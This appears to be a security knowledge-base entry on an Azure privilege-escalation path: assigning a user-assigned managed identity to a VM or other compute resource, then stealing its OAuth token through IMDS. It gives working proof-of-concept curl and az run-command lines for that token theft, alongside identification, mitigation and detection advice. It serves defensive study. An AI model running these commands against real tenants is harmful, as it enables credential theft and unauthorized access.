AZ_MANAGED_IDENTITY_ASSIGNABLE_BY
Summary
| Property | Value |
|---|---|
| Forestall ACL Alias | AZ_MANAGED_IDENTITY_ASSIGNABLE_BY |
| Description | This UAMI can be attached to a compute resource by this principal for token theft (via IMDS) |
| Source Node | AZUserAssignedIdentity |
| Target Node | AZUser / AZGroup / AZServicePrincipal |
| Severity | High |
| Category | ARM Roles |
Built-in Roles
| Role | GUID |
|---|---|
| Owner | 8e3af657-a8ff-443c-a75c-2fe8c4bcb635 |
| Contributor | b24988ac-6180-42a0-ab88-20f7382dd24c |
| Managed Identity Contributor | e40ec5ca-96e0-45a2-b4ff-59039f2c2b59 |
| Managed Identity Operator | f1a07417-d97a-45cb-824c-7a7467783830 |
| Azure Red Hat OpenShift Machine API Operator | 0358943c-7e01-48ba-8889-02cc51d78637 |
Custom Role Actions
Microsoft.ManagedIdentity/userAssignedIdentities/*/assign/actionMicrosoft.ManagedIdentity/userAssignedIdentities/assign/action
Wildcard actions (*) at the Microsoft.ManagedIdentity scope also grant this primitive.
Description
AZ_MANAGED_IDENTITY_ASSIGNABLE_BY represents the ability to attach a User-Assigned Managed Identity (UAMI) to an Azure compute resource. Once attached, code running on that resource can request an OAuth token for the UAMI from IMDS (169.254.169.254) and inherit all role assignments held by that UAMI.
This edge alone is not RCE. The attacker also needs:
writeon a compute/workflow resource that can carry an identity- A way to run code on that resource (e.g., RunCommand, Kudu, runbook)
Chain with: AZ_EXECUTE_COMMAND, AZ_LOGIC_APP_CONTRIBUTOR, AZ_AUTOMATION_CONTRIBUTOR, AZ_WEBSITE_CONTRIBUTOR.
Exploitation
Prerequisites: assign/action on a UAMI + write + execution primitive on a compute resource.
PoC: Attach UAMI to VM, Steal Token via RunCommand
Step 1 — Attach the UAMI
TOKEN=$(az account get-access-token --query accessToken -o tsv)
curl -X PATCH \ "https://management.azure.com/subscriptions/<SUB>/resourceGroups/<RG>/providers/Microsoft.Compute/virtualMachines/<VMName>?api-version=2024-03-01" \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{ "identity": { "type": "UserAssigned", "userAssignedIdentities": { "/subscriptions/<SUB>/resourceGroups/<RG>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<UAMI>": {} } } }'
Attach the UAMI to a vm
Step 2 — Steal the token
Linux VM:
az vm run-command invoke \ --resource-group "<RG>" --name "<VMName>" \ --command-id RunShellScript \ --scripts "curl -s -H 'Metadata: true' 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/&client_id=<UAMI_CLIENT_ID>'"Windows VM:
az vm run-command invoke \ --resource-group "<RG>" --name "<VMName>" \ --command-id RunPowerShellScript \ --scripts "Invoke-RestMethod -Headers @{Metadata='true'} -Uri 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/&client_id=<UAMI_CLIENT_ID>'"
Steal the token
Other Attack Vectors
| Vector | Attach | Execute | Reference |
|---|---|---|---|
| New VM | az vm create --assign-identity |
RunCommand | Praetorian |
| Logic App | az logic workflow identity assign --user-assigned |
HTTP action with MSI auth | HackTricks |
| Automation Account | REST PATCH identity block | Runbook | HackTricks |
| Web App / Function App | az webapp identity assign --identities |
Kudu / Web SSH | NetSPI |
| ACR Task | az acr task create --assign-identity |
Task step | HackTricks |
| ML Workspace | REST PATCH identity block | Notebook / job | HackTricks |
Identification
Azure CLI
az role assignment list --role "Managed Identity Operator" --all -o tableaz role assignment list --role "Managed Identity Contributor" --all -o tableaz identity list -o tableAzure Portal
- Managed Identities → select UAMI → Access control (IAM) → Role assignments
- Look for Owner, Contributor, Managed Identity Operator, or Managed Identity Contributor
Mitigation
- Least-privilege on UAMI scope — Audit principals with assign action on each UAMI
- Reduce UAMI blast radius — Break apart UAMIs with Owner/Contributor into workload-specific UAMIs
- Use PIM — Make Managed Identity Operator eligible (JIT) rather than active
- Azure Policy — Deny
*/assign/actionoutside approved scopes
Detection
Alert on:
assign/actionagainst a UAMI by an unusual principalidentity.userAssignedIdentitieschanges on compute resources- Managed identity sign-in immediately after a new attachment